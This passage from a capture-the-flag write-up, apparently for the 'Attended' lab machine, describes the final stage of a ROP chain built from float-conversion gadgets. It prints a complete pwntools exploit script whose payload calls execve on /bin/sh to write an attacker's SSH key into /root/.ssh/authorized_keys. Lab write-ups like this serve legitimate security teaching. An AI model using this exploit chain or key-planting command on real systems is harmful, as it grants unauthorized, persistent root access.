And here is how the addresses looks the array in the data section:

0x601170:	0x00000000006010d0	0x00000000006010e0
0x601180:	0x00000000006010e8	0x0000000000000000

Now we need to make rsi point to the first adddress of the array so we do the same processes we did to rdi using cvtss2si and movss to make write 0x601170 to rsi.

0x601190:	0x000000004ac022e0	0x4141414141414141

You know the drill, write the float to memory, then pop rdx with the address of that value and use our special gadgets to convert it back to hex and store it in rsi. Ps: I had to reset the rip before that because the rdx value was being writen to rip.‌ That asa easy to solve, since I was already writing to rip i just had to write the correct address back to it to reajust the execution flow.

Syscall

With the following code we have all of our registers on their marks and can finally call a syscall. If we use it to authenticate to root@attendedgw our exploit works!:

#!/usr/bin/env python3
from pwn import *

# Junk
junk = 560*b'A'

# Gadgets
shr_eax = p64(0x0000000000400370)
not_al = p64(0x000000000040036d)
bin_sh = b'/bin/sh\x00'
bin_sh_addr_float = p64(0x4ac021a0)
bin_sh_addr_float_addr = p64(0x6010d8)
bin_sh_addr_float_addr_addr = p64(0x6010e0)
pop_rdx = p64(0x000000000040036a)
movss_xmm0_dword_ptr_rdx = p64(0x000000000040037b)
cvtss2si_esi_xmm0 = p64(0x0000000000400380)
mov_rdi_rsi = p64(0x0000000000400367)
zero = p64(0x0)
bin_sh_args_float = p64(0x4ac022e0)
bin_sh_args_float_addr = p64(0x601190)
reset_rip = p64(0x40037b)
syscall = p64(0x00000000004003cf)

# /bin/sh args
arg1 = b'-c'.ljust(8, b'\x00') # -c
arg2 = b'mkdir /root/.ssh; echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBleIY99tS9NgpR7d8bXCTKeyLqPU56qLH7Cc89uqEUi" > /root/.ssh/authorized_keys'.ljust(136, b'\x00')

# /bin/sh arg addresses
arg0_addr = p64(0x6010d0)
arg1_addr = p64(0x6010e0)
arg2_addr = p64(0x6010e8)

# Payload
payload = b'A'
payload += bin_sh
payload += bin_sh_addr_float
payload += arg1
payload += arg2
payload += arg0_addr
payload += arg1_addr
payload += arg2_addr
payload += zero
payload += bin_sh_args_float
payload += junk
payload += not_al
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += shr_eax
payload += not_al
payload += shr_eax
payload += shr_eax
payload += pop_rdx
payload += bin_sh_addr_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += mov_rdi_rsi
payload += pop_rdx
payload += reset_rip
payload += pop_rdx
payload += bin_sh_args_float_addr
payload += movss_xmm0_dword_ptr_rdx
payload += cvtss2si_esi_xmm0
payload += pop_rdx
payload += zero
payload += syscall
payload += zero

# Fin
print('[+]Hex payload:\n' + payload.hex())

We can generate the payload.‌

And login to attendedgw.

Last updated